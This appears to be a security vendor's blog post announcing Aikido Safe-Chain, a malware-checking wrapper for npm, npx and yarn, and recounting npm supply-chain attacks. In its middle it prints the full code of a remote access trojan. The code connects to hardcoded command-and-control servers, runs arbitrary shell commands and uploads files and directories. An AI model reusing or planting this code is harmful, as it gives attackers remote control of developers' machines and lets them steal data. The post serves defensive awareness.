TLDR:
We just launched Aikido Safe-Chain, a secure wrapper for npm, npx, and yarn that sits in your current workflow and checks every package for malware before install. It protects you against dependency confusion, backdoors, typosquats, and other supply chain threats in real-time without altering your workflow.
–
npm install is basically the Russian roulette of modern development. One wrong package, one sneaky typo, and suddenly you’ve gifted a North Korean APT group the keys to your production environment. Fun, right?
But nation-states, cybercriminal gangs, and rogue maintainers have all figured out one thing: the easiest way to breach modern software is to go straight through the developer. And what better way than sneaking malware into the open-source packages we blindly install every day?
That’s why we built Aikido Safe Chain, a wrapper around npm, npx, and even yarn that acts like a bouncer for your dependencies. It checks packages for known malware before they are installed into your project, without requiring you to change your workflow.
But before we dive into how Safe-Chain keeps your dev machine from becoming a crypto-mining botnet, let’s talk about why this problem exists in the first place.
Why Are NPM Packages Such a Juicy Target?
Here’s the brutal truth: you don’t really know what’s in your app anymore.
Roughly 70-90% of any given piece of modern software is composed of open-source code, according to the Linux Foundation. You didn’t write it. You didn’t audit it. And here’s the kicker, most of it wasn’t even installed directly by you. It came in through transitive dependencies, a fancy term for "some random package five layers deep decided to bring its entire family tree along for the ride."
A single npm install can pull in dozens, sometimes hundreds, of packages, each potentially running arbitrary code thanks to install hooks.
If a bad actor can sneak their malware into just one of those packages, whether by hijacking a maintainer’s account, through dependency confusion, or publishing a typo’d version, they can hit thousands of projects in one go.
Not Just Talk: Real-World Attacks We’ve Caught
Since the start of 2025, Aikido’s security team has uncovered a parade of malicious packages, including over 6,000 in June alone. Here are some of the things we have found.
The Official XRP Backdoor
In April, attackers compromised the official xrpl npm package, used for interacting with the XRP blockchain. They slipped in new versions that quietly exfiltrated wallet secrets to a remote server whenever a Wallet object was created.
Had this backdoor been installed by crypto exchanges, it could have facilitated the largest crypto thefts in history. Aikido’s team noticed the tampered package versions within 45 minutes of them being published and alerted the XRP team.

The rand-user-agent RAT Party
A few weeks later, attackers dropped a Remote Access Trojan (RAT) into the rand-user-agent package, a seemingly boring utility for generating fake browser strings. Once installed, the malware created a backdoor, connected to a command-and-control server, and waited for orders like an obedient sleeper agent.
This included obfuscated payloads, a PATH hijack for Windows, and clever tricks to install additional modules in secret directories.
.png)
Seventeen Libraries, One Nation-State Attack
June saw a full-blown assault on the React Native Aria ecosystem: 17 front-end libraries were hijacked via a compromised GlueStack maintainer token. In total, the packages had over a million weekly downloads, meaning this could have had an absolutely catastrophic impact on the React Native ecosystem.
An obfuscated backdoor was inserted as a RAT that allowed the attacker full access to the infrastructure it ran on, including the ability to remotely deliver more malware.
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();
Invisible exploits, obfuscation, and white spaces
You may think that spotting malware would be easy enough, calling remote IPs, weird install scripts, or heavily obfuscated code. While some malware is easier to spot than others, even if you were to do a full code review on all your dependencies (good luck). Some Malware is so sophisticated that it would slip right through the cracks. For example, the os-info-checker-es6 used invisible Unicode characters not viewable in a normal code editor to deliver its malware. Or malware delivered in images like *****, or perhaps the most humorous, malware hidden by white spaces (a stupid but surprisingly effective obfuscation method) like react-html2pdf.js

Why Safe-Chain Is the Tool You Need Right Now
We all love open source. But modern security tools? Not so much. They’re often clunky, loud, and make you feel like you’re trying to learn how to fly a fighter jet.

You get the same developer experience, just with a Kevlar vest underneath.
Why Safe Chain Beats the Pants Off Other Tools
Tools like npm audit and npq not only need to be run as additional steps, but they also rely on public CVEs or basic heuristics. They’re fine for known issues, but they miss the zero-days, and the time between a malicious package dropping and it being reported is around 10 days. Plenty of time for threat actors to embed themselves deep into your infrastructure.
Safe-Chain is powered by Aikido Intel, our threat pipeline that detects around 200 malicious packages per day, before they show up in vulnerability databases.
And unlike other tools that detect threats after the fact, Safe-Chain stops them before they’re installed. Nothing breaks except the would-be attacker’s dreams.
Final Thoughts: Don’t Hope. Verify.
The npm ecosystem is a modern marvel, a cathedral of collaboration, speed, and… malware. We can’t change the open-source world overnight, but we can give you the tools to navigate it safely.
Hope is not a security strategy.
With Safe-Chain, you’re not guessing. You’re verifying. Every npm install is scanned in real-time. No backdoors. No crypto theft. No surprise RATs partying on your laptop.
Install Safe Chain Today
Installing the Aikido Safe Chain is easy. You just need 3 simple steps:
Install the Aikido Safe Chain package globally using npm:npm install -g @aikidosec/safe-chain
Setup the shell integration by running:safe-chain setup
❗Restart your terminal to start using the Aikido Safe Chain.
- This step is crucial as it ensures that the shell aliases for npm, npx, and yarn are loaded correctly. If you do not restart your terminal, the aliases will not be available.
Verify the installation by running:npm install safe-chain-test
- The output should show that Aikido Safe Chain is blocking the installation of this package as it is flagged as malware. (Installing this package does not have any risks)